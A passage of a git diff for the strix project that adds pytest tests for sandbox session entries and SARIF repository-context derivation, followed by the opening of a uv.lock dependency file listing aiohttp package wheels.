+from agents.sandbox.entries import LocalDir
+
+from strix.runtime.session_manager import build_session_entries
+
+
+if TYPE_CHECKING:
+ from pathlib import Path
+
+
+def _source(subdir: str, path: str, *, mount: bool = False) -> dict[str, Any]:
+ return {"source_path": path, "workspace_subdir": subdir, "mount": mount}
+
+
+def test_copied_source_becomes_localdir_entry(tmp_path: Path) -> None:
+ entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path))])
+
+ assert bind_mounts == []
+ assert isinstance(entries["repo"], LocalDir)
+ assert entries["repo"].src == tmp_path.resolve()
+
+
+def test_mounted_source_becomes_bind_mount(tmp_path: Path) -> None:
+ entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path), mount=True)])
+
+ assert entries == {}
+ assert bind_mounts == [
+ {
+ "source": str(tmp_path.resolve()),
+ "target": "/workspace/repo",
+ "read_only": True,
+ }
+ ]
+
+
+def test_mixed_sources_split_correctly(tmp_path: Path) -> None:
+ copied = tmp_path / "copied"
+ mounted = tmp_path / "mounted"
+ copied.mkdir()
+ mounted.mkdir()
+
+ entries, bind_mounts = build_session_entries(
+ [
+ _source("copied", str(copied)),
+ _source("mounted", str(mounted), mount=True),
+ ]
+ )
+
+ assert list(entries) == ["copied"]
+ assert isinstance(entries["copied"], LocalDir)
+ assert [m["target"] for m in bind_mounts] == ["/workspace/mounted"]
+
+
+def test_incomplete_sources_are_skipped() -> None:
+ entries, bind_mounts = build_session_entries(
+ [
+ {"source_path": "", "workspace_subdir": "x"},
+ {"source_path": "/p", "workspace_subdir": ""},
+ ]
+ )
+ assert entries == {}
+ assert bind_mounts == []
diff --git a/tests/test_state_repo_context.py b/tests/test_state_repo_context.py
new file mode 100644
index 000000000..bca9e24dd
--- /dev/null
+++ b/tests/test_state_repo_context.py
@@ -0,0 +1,85 @@
+"""Tests for SARIF repository-context derivation in strix.report.state."""
+
+from __future__ import annotations
+
+import subprocess
+from typing import TYPE_CHECKING
+
+from strix.report.state import ReportState, _parse_repo_full_name
+
+
+if TYPE_CHECKING:
+ from pathlib import Path
+
+
+def test_parse_repo_full_name_handles_common_forms() -> None:
+ assert _parse_repo_full_name("https://github.com/acme/widget") == "acme/widget"
+ assert _parse_repo_full_name("https://github.com/acme/widget.git") == "acme/widget"
+ assert _parse_repo_full_name("git@github.com:acme/widget.git") == "acme/widget"
+ assert _parse_repo_full_name("acme/widget") == "acme/widget"
+ assert _parse_repo_full_name("") is None
+ assert _parse_repo_full_name("nothost") is None
+
+
+def test_repository_context_none_for_non_repository_targets() -> None:
+ state = ReportState(run_name="t")
+ state.run_record["targets_info"] = [
+ {"type": "web_application", "details": {"target_url": "https://example.com"}}
+ ]
+ assert state._sarif_repository_context() is None
+
+
+def test_repository_context_uri_only_without_clone() -> None:
+ state = ReportState(run_name="t")
+ state.run_record["targets_info"] = [
+ {"type": "repository", "details": {"target_repo": "https://github.com/acme/widget"}}
+ ]
+ ctx = state._sarif_repository_context()
+ assert ctx == {
+ "repositoryUri": "https://github.com/acme/widget",
+ "repositoryFullName": "acme/widget",
+ }
+
+
+def test_repository_context_derives_commit_and_branch_from_clone(tmp_path: Path) -> None:
+ repo = tmp_path / "widget"
+ repo.mkdir()
+
+ def _git(*args: str) -> None:
+ subprocess.run( # noqa: S603
+ ["git", "-C", str(repo), *args], # noqa: S607
+ check=True,
+ capture_output=True,
+ )
+
+ _git("init", "-b", "main")
+ _git("config", "user.email", "t@example.com")
+ _git("config", "user.name", "Test")
+ (repo / "README.md").write_text("hi", encoding="utf-8")
+ _git("add", "README.md")
+ _git("commit", "-m", "init")
+
+ head = subprocess.run( # noqa: S603
+ ["git", "-C", str(repo), "rev-parse", "HEAD"], # noqa: S607
+ check=True,
+ capture_output=True,
+ text=True,
+ ).stdout.strip()
+
+ state = ReportState(run_name="t")
+ state.run_record["targets_info"] = [
+ {
+ "type": "repository",
+ "details": {
+ "target_repo": "https://github.com/acme/widget",
+ "cloned_repo_path": str(repo),
+ },
+ }
+ ]
+ ctx = state._sarif_repository_context()
+ assert ctx is not None
+ assert ctx["repositoryUri"] == "https://github.com/acme/widget"
+ assert ctx["repositoryFullName"] == "acme/widget"
+ assert ctx["commitSha"] == head
+ assert ctx["branch"] == "main"
+ assert ctx["ref"] == "refs/heads/main"
diff --git a/uv.lock b/uv.lock
new file mode 100644
index 000000000..3afff462f
--- /dev/null
+++ b/uv.lock
@@ -0,0 +1,2579 @@
+version = 1
+revision = 3
+requires-python = ">=3.12"
+resolution-markers = [
+ "python_full_version >= '3.15'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform != 'win32'",
+ "python_full_version < '3.14' and sys_platform == 'win32'",
+ "python_full_version < '3.14' and sys_platform != 'win32'",
+]
+
+[[package]]
+name = "aiohappyeyeballs"
+version = "2.6.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/33/c6/61a2d7b7572279226bb2e7f61d7a19ca7c90da0329c93fa0d560cbf288d8/aiohappyeyeballs-2.6.2.tar.gz", hash = "sha256:e202810ee718bd01fc6ef49e8ea53d023d5cb6b581076d7925aa499fa55dbe64", size = 22591, upload-time = "2026-05-20T15:12:24.631Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5f/fc/a7bf5b6e4e617b45f90f2d9d2a68519c249c81dd4fc2658c7a2a61c4f4b7/aiohappyeyeballs-2.6.2-py3-none-any.whl", hash = "sha256:4708045e2d7a6c6bdf8aafa8ed39649eaf926a4543b54560659129e3365953c4", size = 15062, upload-time = "2026-05-20T15:12:23.328Z" },
+]
+
+[[package]]
+name = "aiohttp"
+version = "3.14.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "aiohappyeyeballs" },
+ { name = "aiosignal" },
+ { name = "attrs" },
+ { name = "frozenlist" },
+ { name = "multidict" },
+ { name = "propcache" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+ { name = "yarl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/82/78/8ea7308cac6934de8c74a14f3d5f65d1c89287426688be79538d0e5c013d/aiohttp-3.14.1.tar.gz", hash = "sha256:307f2cff90a764d329e77040603fa032db89c5c24fdad50c4c15334cba744035", size = 7955794, upload-time = "2026-06-07T21:09:35.529Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1d/21/151624b51cd92553d95424daf4bf19f19ce9be9002d19253e7e7ce67197b/aiohttp-3.14.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d35143e27778b4bb0fb189562d7f275bff79c62ab8e98459717c0ea617ff2480", size = 757402, upload-time = "2026-06-07T21:06:40.311Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/82/280619e0bd7bf2454987e19282616e84762255dd9c8468f62382e8c191f1/aiohttp-3.14.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bcfb80a2cc36fba2534e5e5b5264dc7ae6fcd9bf15256da3e53d2f499e6fa29d", size = 512310, upload-time = "2026-06-07T21:06:42.207Z" },
+ { url = "https://files.pythonhosted.org/packages/55/b2/2aac325583aaa1353045f96dffa586d8a34e8322e14a7ba49cffeb103ab4/aiohttp-3.14.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:27fd7c91e51729b4f7e1577865fa6d34c9adccbc39aabe9000285b48af9f0ec2", size = 512448, upload-time = "2026-06-07T21:06:43.813Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/72/a60607cb849faa8af8a356c9329ea2eb6f395d49e82cc82ccba1fd8deb8f/aiohttp-3.14.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:64c567bf9eaf664280116a8688f63016e6b32db2505908e2bdaca1b6438142f2", size = 1766854, upload-time = "2026-06-07T21:06:45.391Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/d3/d9fe1c9ec7557ab4d0d82bebaa728c6418f0b93295ec2f4ab015f7710cc7/aiohttp-3.14.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f5e6ff2bdbb8f4cd3fbe41f99e25bbcd58e3bf9f13d3dd31a11e7917251cc77a", size = 1740884, upload-time = "2026-06-07T21:06:47.413Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/dc/f2cecfaf9337ba3e63f181500814ff502aa3d00d9c7ec93a9d23d10a27b2/aiohttp-3.14.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f73e01dc37122325caf079982621262f96d74823c179038a82fddfc50359264", size = 1810034, upload-time = "2026-06-07T21:06:50.165Z" },
+ { url = "https://files.pythonhosted.org/packages/66/d7/2ff65c5e65c0d7476daf7e15c032e0805e36811185b9623e3238ad6c763e/aiohttp-3.14.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bb2c0c80d431c0d03f2c7dbf125150fedd4f0de17366a7ca33f7ccb822391842", size = 1904054, upload-time = "2026-06-07T21:06:52.035Z" },
+ { url = "https://files.pythonhosted.org/packages/20/9c/d445818389df371f56d141d881153ba23183c4735a03f7356ffb43f7757d/aiohttp-3.14.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3e6fc1a85fa7194a1a7d19f44e8609180f4a8eb5fa4c7ed8b4355f080fad235c", size = 1790278, upload-time = "2026-06-07T21:06:54.049Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/aa/bf04cb4d865fc6101c2229a294ad744973b72e513fdc5a6b791e6983d72a/aiohttp-3.14.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:686b6c0d3911ec387b444ddf5dc62fb7f7c0a7d5186a7861626496a5ab4aff95", size = 1591795, upload-time = "2026-06-07T21:06:55.911Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/b4/4dac0038960427ba832f6609dfb4ea5437d7fd80c72001b9e48f834f428b/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c6fa4dc7ad6f8109c70bb1499e589f76b0b792baf39f9b017eb92c8a81d0a199", size = 1728397, upload-time = "2026-06-07T21:06:57.777Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/f9/7cd4e8ad7aa3b75f17d56bb5498dd604a93d4e6eece822ba0568c413fff0/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:87a5eea1b2a5e21e1ebdbb33ad4165359189327e63fc4e4894693e7f821ac817", size = 1766504, upload-time = "2026-06-07T21:07:00.009Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/df/fc01d9fcad0f73fed3f3d361f1f94f975947b50dff82919f6dc2bf4316cc/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1c1421eb01d4fd608d88cc8290211d177a58532b55ad94076fb349c5bf467f0a", size = 1777806, upload-time = "2026-06-07T21:07:02.064Z" },
+ { url = "https://files.pythonhosted.org/packages/41/09/47e2d090bddcc8fb4ccb4c314aadc32d7c5d9bb55f50f6ad1c92fc15d501/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:34b257ec41345c1e8f2df68fa908a7952f5de932723871eb633ecbbff396c9a4", size = 1580707, upload-time = "2026-06-07T21:07:03.942Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/36/f1a4ce904ae0b6930cfe9afc96d0896f7ec1a620c400405d63783bb95a9c/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:de538791a80e5d862addbc183f70f0158ac9b9bb872bb147f1fd2a683691e087", size = 1798121, upload-time = "2026-06-07T21:07:05.987Z" },
+ { url = "https://files.pythonhosted.org/packages/70/0a/e0075ce9ca0279ee1d4f0c0b85f54fea02ebc83c3007651a72bece658fec/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f71173be42d3241d428f760122febb748de0623f44308a6f120d0dd9ec572e3", size = 1767580, upload-time = "2026-06-07T21:07:07.873Z" },
+ { url = "https://files.pythonhosted.org/packages/3e/61/a0c0a8f327a9c52095cdd8e312391b00d3ed64ab6c72bb5c33d8ec251cf7/aiohttp-3.14.1-cp312-cp312-win32.whl", hash = "sha256:ec8dc383ee57ea3e883477dcca3f11b65d58199f1080acaf4cd6ad9a99698be4", size = 452771, upload-time = "2026-06-07T21:07:09.669Z" },
+ { url = "https://files.pythonhosted.org/packages/df/d9/ea367c75f16ac9c6cdc8febb25e8318fa21a2b1bc8d6514d4b2d890bface/aiohttp-3.14.1-cp312-cp312-win_amd64.whl", hash = "sha256:2aa92c87868cd13674989f9ee83e5f9f7ea4237589b728048e1f0c8f6caa3271", size = 479873, upload-time = "2026-06-07T21:07:11.538Z" },
+ { url = "https://files.pythonhosted.org/packages/03/64/8d96784a7851156db8a4c6c3f6f91042fdf39fb15a4cc38c8b3c14833c45/aiohttp-3.14.1-cp312-cp312-win_arm64.whl", hash = "sha256:2c840c90759922cb5e6dda94596e079a30fb5a5ba548e7e0dc00574703940847", size = 448073, upload-time = "2026-06-07T21:07:13.637Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/97/bd137012dd97e1649162b099135a80e1fd59aaa807b2430fc448d1029aff/aiohttp-3.14.1-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:b3a03285a7f9c7b016324574a6d92a1c895da6b978cb8f1deee3ac72bc6da178", size = 506882, upload-time = "2026-06-07T21:07:15.501Z" },
+ { url = "https://files.pythonhosted.org/packages/ef/79/e5cc690e9d922a66887ceeaca53a8ffd5a7b0be3816142b7abc433742d89/aiohttp-3.14.1-cp313-cp313-android_21_x86_64.whl", hash = "sha256:2a73f487ab8ef5abbb24b7aa9b73e98eaba9e9e031804ff2416f02eca315ccaf", size = 515270, upload-time = "2026-06-07T21:07:17.53Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/22/a73ccbf9dbd6e26dda0b24d5fd5db7da92ee3383a79f47677ffb834c5c5b/aiohttp-3.14.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:915fbb7b41b115192259f8c9ae58f3ddc444d2b5579917270211858e606a4afd", size = 485841, upload-time = "2026-06-07T21:07:19.555Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/b9/57ed8eaf596321c2ad747bd480fb1700dbd7177c60dfc9e4c187f629662e/aiohttp-3.14.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:7fb4bdf95b0561a79f259f9d28fbc109728c5ee7f27aff6391f0ca703a329abe", size = 492088, upload-time = "2026-06-07T21:07:21.581Z" },
+ { url = "https://files.pythonhosted.org/packages/78/c0/5ebe5270a7c140d7c6f79dcb018640225f14d406c149e4eec04a7d82fe71/aiohttp-3.14.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:1b9748363260121d2927704f5d4fc498150669ca3ae93625986ee89c8f80dcd4", size = 501564, upload-time = "2026-06-07T21:07:23.388Z" },
+ { url = "https://files.pythonhosted.org/packages/75/7f/8cdaa24fc7983865e0915153b96a9ac5bcdd3548d64c5a27d17cecccad2d/aiohttp-3.14.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:86a6dab78b0e43e2897a3bbe15745aa60dc5423ca437b7b0b164c069bf91b876", size = 751998, upload-time = "2026-06-07T21:07:25.046Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/f4/c4227aacfacc5cb0cc2d119b65301d177912a6842cd64e120c47af76064f/aiohttp-3.14.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:4dfd6e47d3c44c2279907607f73a4240b88c69eb8b90da7e2441a8045dfd21da", size = 510918, upload-time = "2026-06-07T21:07:27.28Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/01/a2d5f96cd4e74424864d30bc0a7e44d0a12dacdcfa91b5b2d1bd3dca6bf3/aiohttp-3.14.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:317acd9f8602858dc7d59679812c376c7f0b97bcbbf16e0d6237f54141d8a8a6", size = 508657, upload-time = "2026-06-07T21:07:29.252Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/ed/3c0fb5c500fdd8e7ebc10d1889c04384fffa1a9163eac1356088ca9da1b1/aiohttp-3.14.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bd869c427324e5cb15195793de951295710db28be7d818247f3097b4ab5d4b96", size = 1757907, upload-time = "2026-06-07T21:07:31.03Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/ab/d4c924d9bd5be3050c226612413ce68cb54c70d2c31b661bfc8d9a5b6a70/aiohttp-3.14.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:93b032b5ec3255473c143627d21a69ac74ae12f7f33974cb587c564d11b1066f", size = 1737565, upload-time = "2026-06-07T21:07:33.031Z" },
+ { url = "https://files.pythonhosted.org/packages/19/2a/37326821ff779084020cdc33224d20b19f42f4183a500ff92022a739eda7/aiohttp-3.14.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f234b4deb12f3ad59127e037bc57c40c21e45b45282df7d3a55a0f409f595296", size = 1799018, upload-time = "2026-06-07T21:07:35.003Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/4f/6e947ba73e4ce09070761c05ed3a8ceb7c21f5e46798671d8b2aac0e4626/aiohttp-3.14.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:9af6779bfb46abf124068327abcdf9ce95c9ef8287a3e8da76ccf2d0f16c28fa", size = 1894416, upload-time = "2026-06-07T21:07:36.956Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/6e/dbf1d0625dc711fb2851f4f3c3055c39ed58bae92082d8c627dbe6013736/aiohttp-3.14.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:faccab372e66bc76d5731525e7f1143c922271725b9d38c9f97edcc66266b451", size = 1783881, upload-time = "2026-06-07T21:07:39.063Z" },
+ { url = "https://files.pythonhosted.org/packages/44/c2/5e25098a67268ed369483ae7d1a58bd0a13d03aab860d2a0e4a6eb25b046/aiohttp-3.14.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f380468b09d2a81633ee863b0ec5648d364bd17bb8ecfb8c2f387f7ac1faf42c", size = 1587572, upload-time = "2026-06-07T21:07:41.058Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/bd/cf9cee17e140f942a3de73e658a543aa8fbf35a5fc67a9d2538d52d77f0b/aiohttp-3.14.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:97e704dcd26271f5bda3fa07c3ce0fb76d6d3f8659f4baa1a24442cc9ba177ca", size = 1722137, upload-time = "2026-06-07T21:07:43.014Z" },
+ { url = "https://files.pythonhosted.org/packages/89/6d/5684f8c59045c96f81a18cefbc1fbbd79d25b88f1c622f2a5c5c08fcb632/aiohttp-3.14.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:269b76ac5394092b95bc4a098f4fc6c191c083c3bd12775d1e30e663132f6a09", size = 1755953, upload-time = "2026-06-07T21:07:45.933Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/40/35caf3170f8359760740a7d9aa0fff2e344bef98e1d1186f5a0f6dec17e6/aiohttp-3.14.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c0b3e614340c889d575451696374c9d17affd54cd607ca0babed8f8c37b9397", size = 1766479, upload-time = "2026-06-07T21:07:48.047Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/a1/b0c61e7a137f0d81de49a82023a6df73c3c16d6fefb0f8e4a93d21639002/aiohttp-3.14.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:5663ee9257cfa1add7253a7da3035a02f31b6600ec48261585e1800a81533080", size = 1580077, upload-time = "2026-06-07T21:07:50.069Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/41/194ea4623693009fcefebef7aef63c141754f153e9cd0d39d3b9e36c175c/aiohttp-3.14.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:603a2c834142172ffddc054067f5ec0ca65d57a0aa98a71bc81952573208e345", size = 1791688, upload-time = "2026-06-07T21:07:52.106Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/45/4de841f005cfe1fd63e2a2fe011262c515e2a62aa6994b15947e7d717ac9/aiohttp-3.14.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cb21957bb8aca671c1765e32f58164cf0c50e6bf41c0bbbd16da20732ecaf588", size = 1761094, upload-time = "2026-06-07T21:07:54.113Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/ae/dbce10533d3896d544d5053939ed75b7dc31a1b0973d959b1b5ae21028d6/aiohttp-3.14.1-cp313-cp313-win32.whl", hash = "sha256:e509a55f681e6158c20f70f102f9cf61fb20fbc382272bc6d94b7343f2582780", size = 452662, upload-time = "2026-06-07T21:07:56.06Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/d9/0bf1a19362c32f06229da5e7ddfcec91f93474d6307f7a2d3135e9c674dc/aiohttp-3.14.1-cp313-cp313-win_amd64.whl", hash = "sha256:1ac8531b638959718e18c2207fbfe297819875da46a740b29dfa29beba64355a", size = 479748, upload-time = "2026-06-07T21:07:58.319Z" },
+ { url = "https://files.pythonhosted.org/packages/22/0a/62e7232dc9484fbec112ceb32efb6a624cc7994ec6e2b019286f17c4e8f2/aiohttp-3.14.1-cp313-cp313-win_arm64.whl", hash = "sha256:250d14af67f6b6a1a4a811049b1afa69d61d617fca6bf33149b3ab1a6dbcf7b8", size = 447723, upload-time = "2026-06-07T21:08:00.154Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/a1/5fafa04e1ca91ddb47608699d60649c1c6db3cf41c99e78fc4056f9513db/aiohttp-3.14.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:7c106c26852ca1c2047c6b80384f17100b4e439af276f21ef3d4e2f450ae7e15", size = 508531, upload-time = "2026-06-07T21:08:02.093Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/2e/bfa02f699d87ffc86d5959270b28f1cb410add3ccaced8ed2e0b8a5238fc/aiohttp-3.14.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:20205f7f5ade7aaec9f4b500549bbc071b046453aed72f9c06dcab87896a83e8", size = 514718, upload-time = "2026-06-07T21:08:04.476Z" },
+ { url = "https://files.pythonhosted.org/packages/85/a5/9594ad6289eebbc97d167c44213d557807f90e59115caad24de21ad2c3b1/aiohttp-3.14.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:62a759436b29e677181a9e76bab8b8f689a29cb9c535f45f7c48c9c830d3f8c3", size = 487918, upload-time = "2026-06-07T21:08:06.377Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/61/16a32c36c3c49edec122a3dc811f2057df2f94d3b14aa107c8017d981618/aiohttp-3.14.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:2964cbf553df4d7a57348da44d961d871895fc1ee4e8c322b2a95612c7b17fba", size = 494014, upload-time = "2026-06-07T21:08:08.263Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/89/3ebcf96ed99c05bec9c434aaac6963fd3cbab4a786ae739908a144d9ce44/aiohttp-3.14.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:237651caadc3a59badd39319c54642b5299e9cc98a3a194310e55d5bb9f5e397", size = 502398, upload-time = "2026-06-07T21:08:10.244Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/3d/b74870a0c2d40c355928cd5b96c7a11fa821b8a40fc41365e64479b151fb/aiohttp-3.14.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:896e12dfdbbab9d8f7e16d2b28c6769a60126fa92095d1ebf9473d02593a2448", size = 758018, upload-time = "2026-06-07T21:08:12.447Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/66/f42f5c984d99e49c6cff5f26f590750f2e2f7ef1fcfb99966ab5be1b632e/aiohttp-3.14.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d03f281ed22579314ba00821ce20115a7c0ac430660b4cc05704a3f818b3e004", size = 512462, upload-time = "2026-06-07T21:08:14.624Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/a7/248e1aebe0c7810b0271e021a0f2a5eb6e78a051885b3c9df49f42a5802d/aiohttp-3.14.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:07eabb979d236335fed927e137a928c9adfb7df3b9ec7aa31726f133a62be983", size = 512824, upload-time = "2026-06-07T21:08:16.572Z" },
+ { url = "https://files.pythonhosted.org/packages/26/97/2aa0e5ba0727dc3bd5aaebb7ccbc510f7dfb7fb961ec87497cd496635ab1/aiohttp-3.14.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4fe1f1087cbadb280b5e1bb054a4f00d1423c74d6626c5e48400d871d34ecefe", size = 1749898, upload-time = "2026-06-07T21:08:18.635Z" },
+ { url = "https://files.pythonhosted.org/packages/00/8d/e97f6c96c891d457c8479d92a514ba194d0412f981d72c70341ee18488ed/aiohttp-3.14.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:367a9314fdc79dab0fac96e216cb41dd73c85bdca85306ce8999118ba7e0f333", size = 1710114, upload-time = "2026-06-07T21:08:20.892Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/e6/aa8d7e863048c8fceb5cd6ce74017311cec3ead07847387e12265fb4444e/aiohttp-3.14.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a24f677ebe83749039e7bdf862ff0bbb16818ae4193d4ef96505e269375bcce0", size = 1802541, upload-time = "2026-06-07T21:08:23.044Z" },
+ { url = "https://files.pythonhosted.org/packages/83/a8/72193137de57fda4ebfae4563182d082c8856e3b6e9871d0b46f028fb369/aiohttp-3.14.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c83afe0ba876be7e943d2e0ba645809ad441575d2840c895c21ee5de93b9377a", size = 1875776, upload-time = "2026-06-07T21:08:25.288Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/18/938441025db6769a3464596b2410af3afde0b21eb2f204c6f766f68af4bd/aiohttp-3.14.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:634e385930fb6d2d479cf3aa66515955863b77a5e3c2b5894ca259a25b308602", size = 1760329, upload-time = "2026-06-07T21:08:27.363Z" },
+ { url = "https://files.pythonhosted.org/packages/60/29/bf2496b4065e76e09fe48015aaffe5ce161d8f089b06ac6982070f653076/aiohttp-3.14.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:eeea07c4397bbc57719c4eed8f9c284874d4f175f9b6d57f7a1546b976d455ca", size = 1587293, upload-time = "2026-06-07T21:08:29.805Z" },
+ { url = "https://files.pythonhosted.org/packages/49/a2/2136674d52123b1354bd05dd5753c318db47dc0c927cc70b27bab3755456/aiohttp-3.14.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:335c0cc3e3545ce98dcb9cfcb836f40c3411f43fa03dab757597d80c89af8a35", size = 1714756, upload-time = "2026-06-07T21:08:32.094Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/b9/e5fd2e6f915503081c0f9b1e8540947037929c70c191da2e4d54b31a21a1/aiohttp-3.14.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ae6be797afdef264e8a84864a85b196ca06045586481b3df8a967322fd2fa844", size = 1721052, upload-time = "2026-06-07T21:08:34.167Z" },
+ { url = "https://files.pythonhosted.org/packages/63/5a/2833e324a2263e104e31e2e91bc5bbee81bc499afd32203faee048a883f0/aiohttp-3.14.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:8560b4d712474335d08907db7973f71912d3a9a8f1dee992ec06b5d2fe359496", size = 1766888, upload-time = "2026-06-07T21:08:36.95Z" },
+ { url = "https://files.pythonhosted.org/packages/57/fa/dea6511870913162f3b2e8c42a7614eb203a4540b8c2da43e0bfb0548f3c/aiohttp-3.14.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7edd08e0a5deb1e8564a2fcd8f4561014a3f05252334671bbf55ddd47db0e5", size = 1581679, upload-time = "2026-06-07T21:08:39.292Z" },
+ { url = "https://files.pythonhosted.org/packages/14/bd/3cf0d55e71784b33534e9710a67d382d900598b4787fbce6cc7317f8c42a/aiohttp-3.14.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:b6ff7fcee63287ae57b5df3e4f5957ce032122802509246dec1a5bcc55904c95", size = 1782021, upload-time = "2026-06-07T21:08:41.407Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/af/14bb5843eccbe234f4dfb78ab73e549d99727247e62ae5d62cbd22eaf5b0/aiohttp-3.14.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6ffbb2f4ec1ceaff7e07d43922954da26b223d188bf30658e561b98e23089444", size = 1742574, upload-time = "2026-06-07T21:08:43.795Z" },
